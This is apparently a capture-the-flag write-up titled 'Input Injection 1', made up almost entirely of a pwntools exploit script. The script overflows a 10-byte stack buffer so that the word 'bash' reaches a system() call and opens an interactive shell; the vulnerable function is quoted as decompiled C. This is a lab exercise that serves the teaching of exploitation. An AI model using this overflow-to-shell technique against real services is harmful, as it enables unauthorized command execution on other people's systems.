Skip to content

Input Injection 1

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()

    #void fun(char *param_1,char *param_2)

    #{
    #  char local_1c [10];
    #  char local_12 [10];
    #  
    #  strcpy(local_12,param_2);
    #  strcpy(local_1c,param_1);
    #  printf("Goodbye, %s!\n",local_1c);
    #  fflush(stdout);
    #  system(local_12);
    #  return;
    #}

    payload = b"A" * 10  # local_1c
    payload += b"bash"   # local_12

    r.sendline(payload)

    # good luck pwning :)

    r.interactive()


if __name__ == "__main__":
    main()